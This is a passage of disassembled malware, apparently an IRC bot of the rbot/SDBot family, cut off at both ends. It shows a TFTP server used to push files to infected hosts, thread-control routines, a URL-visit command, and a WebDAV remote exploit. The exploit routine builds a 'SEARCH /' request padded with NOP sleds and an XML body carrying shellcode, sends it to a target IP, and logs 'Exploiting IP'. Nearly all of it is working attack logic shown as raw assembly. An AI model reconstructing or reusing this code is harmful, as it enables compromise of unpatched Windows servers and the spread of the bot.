[ebp+74h+arg_0] cmp [edi+2A0h], ebx jz loc_4136E4 mov eax, [ebp+74h+var_4] push 20h pop ecx mov [ebp+74h+var_880], eax xor eax, eax lea edi, [ebp+74h+var_D8] rep stosd lea eax, [ebp+74h+var_34] push eax push ebx push ebx lea eax, [ebp+74h+var_884] push eax push ebx mov [ebp+74h+var_34], 5 mov [ebp+74h+var_30], 1388h mov [ebp+74h+var_884], 1 call dword_43A468 ; select test eax, eax jle loc_4136D8 xor eax, eax mov edx, 80h mov [ebp+74h+var_580], bl mov ecx, edx lea edi, [ebp+74h+var_57F] rep stosd stosw stosb lea eax, [ebp+74h+var_C] push eax lea eax, [ebp+74h+var_2C] push eax push ebx push edx lea eax, [ebp+74h+var_D8] push eax push [ebp+74h+var_4] mov [ebp+74h+var_C], 10h call dword_43A348 ; recvfrom push [ebp+74h+var_28] mov [ebp+74h+var_10], eax call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+74h+var_58] push eax call sub_416975 cmp [ebp+74h+var_D8], bl pop ecx pop ecx jnz loc_4136C0 cmp [ebp+74h+var_D7], 1 jnz loc_41361B lea eax, [ebp+74h+var_274] lea edx, [eax+1] loc_4134C5: ; CODE XREF: sub_41326A+260j mov cl, [eax] inc eax cmp cl, bl jnz short loc_4134C5 sub eax, edx mov [ebp+74h+var_14], eax lea eax, [ebp+74h+var_274] lea edi, [eax+1] loc_4134DA: ; CODE XREF: sub_41326A+275j mov cl, [eax] inc eax cmp cl, bl jnz short loc_4134DA sub eax, edi push eax lea eax, [ebp+74h+var_D6] push eax lea eax, [ebp+74h+var_274] push eax call sub_418270 add esp, 0Ch test eax, eax jnz loc_4135D9 lea eax, [ebp+74h+var_1C] lea edx, [eax+1] loc_413505: ; CODE XREF: sub_41326A+2A0j mov cl, [eax] inc eax cmp cl, bl jnz short loc_413505 sub eax, edx push eax mov eax, [ebp+74h+var_14] lea eax, [ebp+eax+74h+var_D5] push eax lea eax, [ebp+74h+var_1C] push eax call sub_418270 add esp, 0Ch test eax, eax jnz loc_4135D9 push ebx push ebx push [ebp+74h+var_8] call sub_4185E7 push [ebp+74h+var_8] lea eax, [ebp+74h+var_57C] push esi push 1 push eax mov [ebp+74h+var_580], bl mov [ebp+74h+var_57F], 3 mov [ebp+74h+var_57E], bl mov [ebp+74h+var_57D], 1 call sub_416FB7 add esp, 1Ch push [ebp+74h+var_C] lea ecx, [ebp+74h+var_2C] push ecx mov [ebp+74h+var_10], eax push ebx add eax, 4 push eax lea eax, [ebp+74h+var_580] push eax push [ebp+74h+var_4] call dword_43A38C ; sendto lea eax, [ebp+74h+var_378] push eax lea eax, [ebp+74h+var_58] push eax push offset aTftpFileTransf ; "[TFTP]: File transfer started to IP: %s"... loc_413593: ; CODE XREF: sub_41326A+451j lea eax, [ebp+74h+var_780] push eax call sub_416975 add esp, 10h cmp [ebp+74h+var_E0], ebx jnz short loc_4135C7 push ebx push [ebp+74h+var_E4] lea eax, [ebp+74h+var_780] push eax lea eax, [ebp+74h+var_164] push eax push [ebp+74h+var_37C] call sub_405D62 add esp, 14h loc_4135C7: ; CODE XREF: sub_41326A+33Bj lea eax, [ebp+74h+var_780] push eax call sub_401F0F pop ecx jmp loc_4136D8 ; --------------------------------------------------------------------------- loc_4135D9: ; CODE XREF: sub_41326A+28Fj ; sub_41326A+2BBj push [ebp+74h+var_C] lea eax, [ebp+74h+var_2C] push eax push ebx push 13h push offset dword_42B874 push [ebp+74h+var_4] call dword_43A38C ; sendto lea eax, [ebp+74h+var_274] push eax lea eax, [ebp+74h+var_58] push eax lea eax, [ebp+74h+var_D8] push offset aTftpFileNotFou ; "[TFTP]: File not found: %s (%s)." push eax call sub_416975 lea eax, [ebp+74h+var_D8] push eax call sub_401F0F add esp, 14h jmp loc_4136D8 ; --------------------------------------------------------------------------- loc_41361B: ; CODE XREF: sub_41326A+24Cj cmp [ebp+74h+var_D7], 4 jnz loc_4136C0 mov cl, [ebp+74h+var_D5] cmp cl, 0FFh mov al, [ebp+74h+var_D6] mov [ebp+74h+var_580], bl mov [ebp+74h+var_57F], 3 jnz short loc_413649 inc al xor cl, cl mov [ebp+74h+var_57D], bl jmp short loc_413651 ; --------------------------------------------------------------------------- loc_413649: ; CODE XREF: sub_41326A+3D1j inc cl mov [ebp+74h+var_57D], cl loc_413651: ; CODE XREF: sub_41326A+3DDj mov [ebp+74h+var_57E], al movzx eax, al shl eax, 8 movzx ecx, cl add eax, ecx shl eax, 9 push ebx sub eax, esi push eax push [ebp+74h+var_8] call sub_4185E7 push [ebp+74h+var_8] lea eax, [ebp+74h+var_57C] push esi push 1 push eax call sub_416FB7 add esp, 1Ch push [ebp+74h+var_C] mov edi, eax lea eax, [ebp+74h+var_2C] push eax push ebx lea eax, [edi+4] push eax lea eax, [ebp+74h+var_580] push eax push [ebp+74h+var_4] mov [ebp+74h+var_10], edi call dword_43A38C ; sendto cmp edi, ebx jnz short loc_4136D8 lea eax, [ebp+74h+var_378] push eax lea eax, [ebp+74h+var_58] push eax push offset aTftpFileTran_0 ; "[TFTP]: File transfer complete to IP: %"... jmp loc_413593 ; --------------------------------------------------------------------------- loc_4136C0: ; CODE XREF: sub_41326A+242j ; sub_41326A+3B5j push [ebp+74h+var_C] lea eax, [ebp+74h+var_2C] push eax push ebx push 9 push offset dword_42B814 push [ebp+74h+var_4] call dword_43A38C ; sendto loc_4136D8: ; CODE XREF: sub_41326A+1E9j ; sub_41326A+36Aj ... cmp [ebp+74h+var_10], ebx jg loc_413403 mov edi, [ebp+74h+arg_0] loc_4136E4: ; CODE XREF: sub_41326A+1A2j push [ebp+74h+var_4] call dword_43A4D0 ; closesocket push [ebp+74h+var_8] call sub_416E7D dec [ebp+74h+var_16C] cmp [edi+2A0h], ebx pop ecx jnz short loc_413717 push [ebp+74h+var_170] call sub_4139F6 loc_41370F: ; CODE XREF: sub_41326A+B7j pop ecx loc_413710: ; CODE XREF: sub_41326A+18Fj push ebx call dword_422014 ; ExitThread loc_413717: ; CODE XREF: sub_41326A+498j push 3E8h call dword_422000 ; Sleep push edi loc_413723: ; CODE XREF: sub_41326A+116j call sub_41326A pop edi pop esi pop ebx add ebp, 74h leave retn 4 sub_41326A endp ; =============== S U B R O U T I N E ======================================= sub_413732 proc near ; CODE XREF: sub_401141+EDp ; sub_401141+237p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43B060 loc_41373A: ; CODE XREF: sub_413732+18j cmp byte ptr [eax], 0 jz short loc_41374E add eax, 234h inc edi cmp eax, offset dword_47FDF0 jl short loc_41373A jmp short loc_413799 ; --------------------------------------------------------------------------- loc_41374E: ; CODE XREF: sub_413732+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43B060[esi] push eax call sub_416A00 mov eax, [esp+14h+arg_4] and dword_43B264[esi], 0 and dword_43B268[esi], 0 mov dword_43B260[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and byte_43B278[esi], 0 mov dword_43B26C[esi], eax pop esi loc_413799: ; CODE XREF: sub_413732+1Aj mov eax, edi pop edi retn sub_413732 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41379D proc near ; CODE XREF: sub_413A33+31p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h xor edi, edi mov esi, offset dword_43B060 loc_4137C7: ; CODE XREF: sub_41379D+78j cmp byte ptr [esi], 0 jz short loc_413808 cmp [ebp+arg_C], 0 jnz short loc_4137DB cmp dword ptr [esi+204h], 0 jnz short loc_413808 loc_4137DB: ; CODE XREF: sub_41379D+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_416975 push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 24h loc_413808: ; CODE XREF: sub_41379D+2Dj ; sub_41379D+3Cj add esi, 234h inc edi cmp esi, offset dword_47FDF0 jl short loc_4137C7 pop edi pop esi leave retn sub_41379D endp ; =============== S U B R O U T I N E ======================================= sub_41381B proc near ; CODE XREF: sub_409848+429Bp ; sub_4138A3+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_41389D cmp esi, 1F4h jge short loc_41389D imul esi, 234h push edi push ebx lea edi, dword_43B274[esi] push dword ptr [edi] call dword_4220F0 ; TerminateThread cmp [edi], ebx jz short loc_41384D inc ebp loc_41384D: ; CODE XREF: sub_41381B+2Fj mov [edi], ebx lea edi, dword_43B268[esi] mov eax, [edi] cmp eax, ebx mov dword_43B260[esi], ebx mov dword_43B264[esi], ebx jbe short loc_41386E push eax call sub_409127 pop ecx loc_41386E: ; CODE XREF: sub_41381B+4Aj mov [edi], ebx lea edi, dword_43B26C[esi] push dword ptr [edi] mov byte ptr dword_43B060[esi], bl mov byte_43B278[esi], bl call dword_43A4D0 ; closesocket lea esi, dword_43B270[esi] push dword ptr [esi] mov [edi], ebx call dword_43A4D0 ; closesocket mov [esi], ebx pop edi loc_41389D: ; CODE XREF: sub_41381B+Dj ; sub_41381B+15j pop esi mov eax, ebp pop ebp pop ebx retn sub_41381B endp ; =============== S U B R O U T I N E ======================================= sub_4138A3 proc near ; CODE XREF: sub_403500+18p ; sub_409848+4254p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43B060 loc_4138AF: ; CODE XREF: sub_4138A3+2Aj cmp byte ptr [esi], 0 jz short loc_4138C0 push edi call sub_41381B test eax, eax pop ecx jz short loc_4138C0 inc ebx loc_4138C0: ; CODE XREF: sub_4138A3+Fj ; sub_4138A3+1Aj add esi, 234h inc edi cmp esi, offset dword_47FDF0 jl short loc_4138AF pop edi pop esi mov eax, ebx pop ebx retn sub_4138A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4138D5 proc near ; CODE XREF: sub_409848+1CD8p ; sub_409848+1D43p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43B264 loc_4138E9: ; CODE XREF: sub_4138D5+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_41390B test edi, edi jle short loc_4138FD cmp [esi], edi jz short loc_4138FD cmp ebx, edi jnz short loc_41390B loc_4138FD: ; CODE XREF: sub_4138D5+1Ej ; sub_4138D5+22j push ebx call sub_41381B test eax, eax pop ecx jz short loc_41390B inc [ebp+var_4] loc_41390B: ; CODE XREF: sub_4138D5+1Aj ; sub_4138D5+26j ... add esi, 234h inc ebx cmp esi, offset dword_47FFF4 jl short loc_4138E9 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_4138D5 endp ; =============== S U B R O U T I N E ======================================= sub_413922 proc near ; CODE XREF: sub_4010CA+Bp ; sub_401141+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43B260 loc_413929: ; CODE XREF: sub_413922+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_413932 inc eax loc_413932: ; CODE XREF: sub_413922+Dj add ecx, 234h cmp ecx, offset dword_47FFF0 jl short loc_413929 retn sub_413922 endp ; =============== S U B R O U T I N E ======================================= sub_413941 proc near ; CODE XREF: sub_409848+4BA0p arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_43B260 push esi loc_41394B: ; CODE XREF: sub_413941+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_413964 add ecx, 234h inc edx cmp ecx, offset dword_47FFF0 jl short loc_41394B pop esi retn ; --------------------------------------------------------------------------- loc_413964: ; CODE XREF: sub_413941+10j mov eax, edx pop esi retn sub_413941 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413968 proc near ; CODE XREF: sub_409848+21D7p ; sub_409848+52D0p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_413981 push [ebp+arg_1C] call sub_416D02 pop ecx loc_413981: ; CODE XREF: sub_413968+Ej push eax push [ebp+arg_18] call sub_4138D5 test eax, eax pop ecx pop ecx jle short loc_4139AD push eax push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_416975 add esp, 14h jmp short loc_4139C7 ; --------------------------------------------------------------------------- loc_4139AD: ; CODE XREF: sub_413968+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_416975 add esp, 10h loc_4139C7: ; CODE XREF: sub_413968+43j cmp [ebp+arg_C], 0 jnz short loc_4139E7 push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_4139E7: ; CODE XREF: sub_413968+63j lea eax, [ebp+var_200] push eax call sub_401F0F pop ecx leave retn sub_413968 endp ; =============== S U B R O U T I N E ======================================= sub_4139F6 proc near ; CODE XREF: sub_40195E+227p ; sub_401B94+25Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] imul eax, 234h xor ecx, ecx mov dword_43B274[eax], ecx mov dword_43B260[eax], ecx mov dword_43B264[eax], ecx mov dword_43B268[eax], ecx mov dword_43B26C[eax], ecx mov dword_43B270[eax], ecx mov byte ptr dword_43B060[eax], cl mov byte_43B278[eax], cl retn sub_4139F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_413A33 proc near ; DATA XREF: sub_409848+5133o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 98h mov eax, [ebp+74h+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+74h+var_98] rep movsd push [ebp+74h+var_10] mov dword ptr [eax+94h], 1 push [ebp+74h+var_C] lea eax, [ebp+74h+var_94] push eax push [ebp+74h+var_98] call sub_41379D push [ebp+74h+var_14] call sub_4139F6 add esp, 14h push 0 call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_413A33 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_413A7D proc near ; DATA XREF: sub_409848+3ED0o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 65Ch mov eax, [ebp+74h+arg_0] push ebx push esi push edi push 65h pop ecx push 20h mov esi, eax xor edx, edx inc edx lea edi, [ebp+74h+var_35C] rep movsd pop ecx push 20h xor ebx, ebx mov [eax+190h], edx xor eax, eax lea edi, [ebp+74h+var_148] rep stosd pop ecx push 20h lea edi, [ebp+74h+var_1C8] rep stosd pop ecx push 40h lea edi, [ebp+74h+var_C8] rep stosd pop ecx lea edi, [ebp+74h+var_65C] rep stosd push 0Fh pop ecx lea edi, [ebp+74h+var_48] rep stosd lea eax, [ebp+74h+var_358] mov [ebp+74h+var_8], ebx mov [ebp+74h+var_4], ebx mov [ebp+74h+var_C], offset asc_42BA20 ; "*/*" mov [ebp+74h+var_48], 3Ch mov [ebp+74h+var_34], edx mov [ebp+74h+var_28], edx mov [ebp+74h+var_20], edx mov [ebp+74h+var_18], edx lea esi, [eax+1] loc_413B02: ; CODE XREF: sub_413A7D+8Aj mov cl, [eax] inc eax cmp cl, bl jnz short loc_413B02 lea ecx, [ebp+74h+var_48] push ecx sub eax, esi push ebx push eax lea eax, [ebp+74h+var_358] push eax call dword_43A330 ; InternetCrackUrlA test eax, eax jnz short loc_413B3B lea eax, [ebp+74h+var_55C] push offset aVisitInvalidUr ; "[VISIT]: Invalid URL." push eax call sub_416975 mov esi, [ebp+74h+var_8] jmp loc_413C2A ; --------------------------------------------------------------------------- loc_413B3B: ; CODE XREF: sub_413A7D+A3j cmp [ebp+74h+var_34], ebx jbe short loc_413B55 push [ebp+74h+var_34] lea eax, [ebp+74h+var_148] push [ebp+74h+var_38] push eax call sub_416A00 add esp, 0Ch loc_413B55: ; CODE XREF: sub_413A7D+C1j cmp [ebp+74h+var_28], ebx movzx esi, [ebp+74h+var_30] jbe short loc_413B73 push [ebp+74h+var_28] lea eax, [ebp+74h+var_1C8] push [ebp+74h+var_2C] push eax call sub_416A00 add esp, 0Ch loc_413B73: ; CODE XREF: sub_413A7D+DFj cmp [ebp+74h+var_20], ebx jbe short loc_413B8A push [ebp+74h+var_20] lea eax, [ebp+74h+var_C8] push [ebp+74h+var_24] push eax call sub_416A00 add esp, 0Ch loc_413B8A: ; CODE XREF: sub_413A7D+F9j cmp [ebp+74h+var_18], ebx jbe short loc_413BA4 push [ebp+74h+var_18] lea eax, [ebp+74h+var_65C] push [ebp+74h+var_1C] push eax call sub_416A00 add esp, 0Ch loc_413BA4: ; CODE XREF: sub_413A7D+110j push ebx push ebx push 3 lea eax, [ebp+74h+var_C8] push eax lea eax, [ebp+74h+var_1C8] push eax push esi lea eax, [ebp+74h+var_148] push eax push dword_43A508 call dword_43A3F4 ; InternetConnectA mov esi, eax cmp esi, ebx jnz short loc_413BD4 push offset aVisitCouldNotO ; "[VISIT]: Could not open a connection." jmp short loc_413C1E ; --------------------------------------------------------------------------- loc_413BD4: ; CODE XREF: sub_413A7D+14Ej push ebx push 200h lea eax, [ebp+74h+var_C] push eax lea eax, [ebp+74h+var_2D8] push eax push ebx lea eax, [ebp+74h+var_65C] push eax push ebx push esi call dword_43A3E4 ; HttpOpenRequestA cmp eax, ebx mov [ebp+74h+var_4], eax jnz short loc_413C03 push offset aVisitFailedToC ; "[VISIT]: Failed to connect to HTTP serv"... jmp short loc_413C1E ; --------------------------------------------------------------------------- loc_413C03: ; CODE XREF: sub_413A7D+17Dj push ebx push ebx push ebx push ebx push eax call dword_43A50C ; HttpSendRequestA test eax, eax jz short loc_413C19 push offset aVisitUrlVisite ; "[VISIT]: URL visited." jmp short loc_413C1E ; --------------------------------------------------------------------------- loc_413C19: ; CODE XREF: sub_413A7D+193j push offset aVisitFailedToG ; "[VISIT]: Failed to get requested URL fr"... loc_413C1E: ; CODE XREF: sub_413A7D+155j ; sub_413A7D+184j ... lea eax, [ebp+74h+var_55C] push eax call sub_416975 loc_413C2A: ; CODE XREF: sub_413A7D+B9j cmp [ebp+74h+var_1D4], ebx pop ecx pop ecx jnz short loc_413C57 push ebx push [ebp+74h+var_1D0] lea eax, [ebp+74h+var_55C] push eax lea eax, [ebp+74h+var_258] push eax push [ebp+74h+var_35C] call sub_405D62 add esp, 14h loc_413C57: ; CODE XREF: sub_413A7D+1B5j lea eax, [ebp+74h+var_55C] push eax call sub_401F0F pop ecx push esi call dword_43A41C ; InternetCloseHandle push [ebp+74h+var_4] call dword_43A41C ; InternetCloseHandle push [ebp+74h+var_1D8] call sub_4139F6 pop ecx push ebx call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_413A7D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C88 proc near ; CODE XREF: sub_40195E+1F8p ; DATA XREF: .text:off_42E06Co var_1210 = byte ptr -1210h var_11AC = byte ptr -11ACh var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_28 = byte ptr 30h arg_B4 = dword ptr 0BCh arg_BC = dword ptr 0C4h arg_C4 = dword ptr 0CCh arg_C8 = dword ptr 0D0h push ebp mov ebp, esp mov eax, 1210h call sub_416B90 push 6 push 1 push 2 call dword_43A3BC ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_413CAD xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_413CAD: ; CODE XREF: sub_413C88+1Fj push ebx push esi push edi push [ebp+arg_B4] call dword_43A514 ; ntohs lea eax, [ebp+arg_4] push eax call dword_43A434 ; inet_addr push 186A0h call sub_416E1F mov edi, 1000h push edi mov ebx, eax call sub_416E1F pop ecx pop ecx push offset byte_42FD4C push [ebp+arg_0] mov esi, eax mov [ebp+var_C], esi call sub_408894 pop ecx push eax push edi push esi call sub_4120F4 add esp, 10h test eax, eax mov [ebp+var_8], eax jnz short loc_413D22 push ebx call sub_416D07 push esi call sub_416D07 pop ecx pop ecx push [ebp+var_10] loc_413D15: ; CODE XREF: sub_413C88+27Bj call dword_43A4D0 ; closesocket xor eax, eax jmp loc_413F9F ; --------------------------------------------------------------------------- loc_413D22: ; CODE XREF: sub_413C88+7Aj push 19h mov eax, 90909090h pop ecx lea edi, [ebp+var_1210] rep stosd mov ecx, [ebp+var_8] mov eax, ecx shr ecx, 2 lea edi, [ebp+var_11AC] rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax mov ecx, 61A8h mov edi, ebx rep stosd mov esi, offset aSearch ; "SEARCH /" mov edi, ebx movsd movsd mov eax, ebx movsb lea esi, [eax+1] loc_413D63: ; CODE XREF: sub_413C88+E0j mov cl, [eax] inc eax test cl, cl jnz short loc_413D63 sub eax, esi mov esi, eax lea edx, [esi+1] lea eax, [esi+866h] cmp edx, eax mov byte ptr [esi+ebx], 90h jnb short loc_413DA1 sub eax, edx dec eax shr eax, 1 inc eax mov ecx, eax mov [ebp+var_4], ecx shr ecx, 1 lea edi, [edx+ebx] mov eax, 0B102B102h rep stosd adc ecx, ecx rep stosw mov eax, [ebp+var_4] lea edx, [edx+eax*2] loc_413DA1: ; CODE XREF: sub_413C88+F5j mov eax, offset loc_430348 mov edi, eax lea ecx, [edi+1] mov [ebp+var_4], ecx loc_413DAE: ; CODE XREF: sub_413C88+12Bj mov cl, [edi] inc edi test cl, cl jnz short loc_413DAE sub edi, [ebp+var_4] jmp short loc_413DCF ; --------------------------------------------------------------------------- loc_413DBA: ; CODE XREF: sub_413C88+155j lea ecx, [edi+1] mov byte ptr [edx+ebx], 90h inc edx mov [ebp+var_4], ecx loc_413DC5: ; CODE XREF: sub_413C88+142j mov cl, [edi] inc edi test cl, cl jnz short loc_413DC5 sub edi, [ebp+var_4] loc_413DCF: ; CODE XREF: sub_413C88+130j mov ecx, esi sub ecx, edi add ecx, 0FFFFh cmp edx, ecx mov edi, eax jb short loc_413DBA lea esi, [edi+1] loc_413DE2: ; CODE XREF: sub_413C88+15Fj mov cl, [edi] inc edi test cl, cl jnz short loc_413DE2 sub edi, esi mov ecx, edi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [edx+ebx] rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, ebx dec edi loc_413E03: ; CODE XREF: sub_413C88+181j mov al, [edi+1] inc edi test al, al jnz short loc_413E03 mov esi, offset aHttp1_1 ; " HTTP/1.1\r\n" movsd movsd movsd mov esi, offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<g:searchrequest"... mov eax, esi lea edi, [eax+1] loc_413E1D: ; CODE XREF: sub_413C88+19Aj mov cl, [eax] inc eax test cl, cl jnz short loc_413E1D sub eax, edi mov edi, eax mov eax, ebx lea ecx, [eax+1] loc_413E2D: ; CODE XREF: sub_413C88+1AAj mov dl, [eax] inc eax test dl, dl jnz short loc_413E2D sub eax, ecx mov ecx, [ebp+var_8] add edi, ecx push edi lea ecx, [ebp+arg_4] push ecx add eax, ebx push offset aHostSContentTy ; "Host: %s\r\nContent-Type: text/xml\r\nConte"... push eax call sub_416975 add esp, 10h mov eax, esi loc_413E52: ; CODE XREF: sub_413C88+1CFj mov cl, [eax] inc eax test cl, cl jnz short loc_413E52 mov edi, ebx sub eax, esi dec edi loc_413E5E: ; CODE XREF: sub_413C88+1DCj mov cl, [edi+1] inc edi test cl, cl jnz short loc_413E5E mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 mov eax, ebx rep movsb lea esi, [eax+1] loc_413E79: ; CODE XREF: sub_413C88+1F6j mov cl, [eax] inc eax test cl, cl jnz short loc_413E79 sub eax, esi mov ecx, eax mov eax, 1010101h lea edi, [ecx+ebx] stosb mov eax, ebx lea esi, [eax+1] loc_413E92: ; CODE XREF: sub_413C88+20Fj mov cl, [eax] inc eax test cl, cl jnz short loc_413E92 sub eax, esi mov ecx, eax mov eax, 90909090h lea edi, [ecx+ebx] stosw stosb mov eax, ebx lea esi, [eax+1] loc_413EAD: ; CODE XREF: sub_413C88+22Aj mov cl, [eax] inc eax test cl, cl jnz short loc_413EAD mov ecx, [ebp+var_8] sub eax, esi lea edi, [eax+ebx] mov eax, ecx shr ecx, 2 lea esi, [ebp+var_1210] rep movsd mov ecx, eax and ecx, 3 mov eax, ebx rep movsb lea esi, [eax+1] loc_413ED5: ; CODE XREF: sub_413C88+252j mov cl, [eax] inc eax test cl, cl jnz short loc_413ED5 sub eax, esi mov esi, [ebp+var_10] xor edi, edi push edi push eax push ebx push esi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jnz short loc_413F08 push ebx call sub_416D07 push [ebp+var_C] call sub_416D07 pop ecx pop ecx push esi jmp loc_413D15 ; --------------------------------------------------------------------------- loc_413F08: ; CODE XREF: sub_413C88+268j push edi push 1388h push ebx push esi call dword_43A324 ; recv push ebx call sub_416D07 push [ebp+var_C] call sub_416D07 pop ecx pop ecx push esi call dword_43A4D0 ; closesocket lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_BC] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp+var_210] push 200h push eax call sub_416BCD add esp, 14h cmp [ebp+arg_C8], edi jnz short loc_413F7E push edi push [ebp+arg_C4] lea eax, [ebp+var_210] push eax lea eax, [ebp+arg_28] push eax push [ebp+arg_0] call sub_405D62 add esp, 14h loc_413F7E: ; CODE XREF: sub_413C88+2D7j lea eax, [ebp+var_210] push eax call sub_401F0F mov eax, [ebp+arg_BC] imul eax, 3Ch lea eax, dword_42E070[eax] inc dword ptr [eax] xor eax, eax pop ecx inc eax loc_413F9F: ; CODE XREF: sub_413C88+95j pop edi pop esi pop ebx leave retn sub_413C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FA4 proc near ; CODE XREF: sub_414038+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] mov ecx, [edx] push edi xor edi, edi and [ebp+var_8], edi xor eax, eax inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_413FC5 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_413FC5: ; CODE XREF: sub_413FA4+19j push ebx push esi loc_413FC7: ; CODE XREF: sub_413FA4+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_413FD5 cmp [ebp+var_4], eax jnz short loc_41401D loc_413FD5: ; CODE XREF: sub_413FA4+2Aj test edi, edi jnz short loc_414012 cmp bl, 2Dh jnz short loc_414006 lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_414006 cmp al, 5Dh jz short loc_414006 cmp [ebp+var_4], edi jnz short loc_414006 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_414012 cmp bl, al jg short loc_414012 mov [edx], esi jmp short loc_41400F ; --------------------------------------------------------------------------- loc_414006: ; CODE XREF: sub_413FA4+38j ; sub_413FA4+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_414012 loc_41400F: ; CODE XREF: sub_413FA4+60j xor edi, edi inc edi loc_414012: ; CODE XREF: sub_413FA4+33j ; sub_413FA4+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_413FC7 ; --------------------------------------------------------------------------- loc_41401D: ; CODE XREF: sub_413FA4+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_41402A mov ecx, eax sub ecx, edi mov edi, ecx loc_41402A: ; CODE XREF: sub_413FA4+7Ej cmp edi, eax jnz short loc_414033 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_414033: ; CODE XREF: sub_413FA4+88j mov eax, edi pop edi leave retn sub_413FA4 endp ; =============== S U B R 